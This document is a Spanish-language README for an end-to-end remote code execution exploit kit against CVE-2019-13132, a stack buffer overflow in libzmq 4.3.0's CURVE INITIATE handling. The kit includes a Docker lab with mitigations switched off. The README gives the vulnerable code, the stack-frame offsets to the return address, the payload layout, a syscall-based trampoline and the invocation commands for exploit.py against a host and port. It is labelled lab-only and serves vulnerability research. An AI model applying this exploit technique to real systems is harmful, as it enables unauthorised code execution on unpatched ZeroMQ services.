
CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → RCE. Exploit funcional + laboratorio Docker.
Exploit RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-13132, un desbordamiento de búfer de pila en el manejador del handshake CURVE INITIATE de libzmq. Un atacante que conozca la clave pública de largo plazo del servidor (un parámetro público por diseño) puede desbordar un búfer de pila de tamaño fijo en process_initiate(), sobrescribir la dirección de retorno guardada y redirigir la ejecución hacia código arbitrario.
Por Nicolas Krassas (@dinosn).
Solo para uso en laboratorio. Este kit incluye una versión de libzmq 4.3.0 intencionalmente vulnerable con las mitigaciones desactivadas. No expongas el puerto 5556 fuera del laboratorio. El fallo se corrigió en libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Prueba de humo automatizada (ejecuta el exploit y verifica el archivo de prueba):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box es un búfer asignado en la pila de 416 bytes. El memcpy escribe size - 113 bytes en la región de payload de 400 bytes (desplazamiento 16..415). Cualquier INITIATE con size > 513 desborda el búfer y alcanza los registros del callee guardados y la dirección de retorno.
La verificación de la cookie ocurre antes del desbordamiento, por lo que el INITIATE debe incluir una cookie genuina — pero la cookie se obtiene del mensaje WELCOME previo usando únicamente la clave pública de largo plazo del servidor.
El protocolo CURVE está diseñado para que los clientes ya posean la clave pública de largo plazo del servidor (está en la URI de conexión o en la configuración). El exploit:
memcpy vulnerable se dispara.No se requieren credenciales de nivel de aplicación. No hay omisión de la autenticación ZAP. El desbordamiento se dispara durante el intercambio de claves CURVE, antes de que la aplicación llegue a ver al peer.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
El exploit envía 464 bytes de payload: 456 bytes de relleno (0x41) para alcanzar la dirección de retorno, seguidos de 8 bytes que contienen la dirección de lab_trampoline().
Después del desbordamiento, crypto_box_open() falla (los datos desbordados son texto cifrado basura). La ruta de error registra el fallo, establece errno y devuelve -1 — pero la ruta de error solo accede a ubicaciones de pila por debajo de la región desbordada (RSP+0xe0, RSP+0xf0, RSP+0x280), por lo que se ejecuta limpiamente con la pila corrupta.
El epílogo de la función (add $0x628,%rsp; pop rbx-r15; ret) extrae los registros guardados corruptos (ahora 0x4141414141414141) y luego ret carga la dirección de nuestro trampolín.
lab_trampoline() utiliza syscalls directos (sin libc, sin fork()) para escribir el archivo de prueba:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Se utilizan syscalls directos en lugar de system() / fork() porque process_initiate() se ejecuta en el hilo de E/S de libzmq — llamar a fork() desde un hilo distinto al principal en un proceso multi-hilo provoca un interbloqueo en los manejadores de bloqueo pthread_atfork de glibc.
La clave pública de largo plazo del servidor es un parámetro público en el protocolo CurveZMQ: los clientes deben tenerla para conectarse. Normalmente se distribuye en archivos de configuración, URIs o mecanismos de descubrimiento. El exploit no requiere ningún material secreto.
El exploit necesita dos valores:
| campo | valor | fuente |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (binario no PIE, dirección fija) |
offset_to_ret | 456 | desensamblado de process_initiate (0x658 - 0x490) |
Ambos están hardcodeados en exploit.py como valores integrados por defecto para la compilación del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). No se requiere ningún paso de calibración — basta con ejecutar el exploit:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Prioridad de resolución: flags --trampoline/--offset → archivo --profile → /opt/zmq-curve-rce/profile.json → valores integrados por defecto.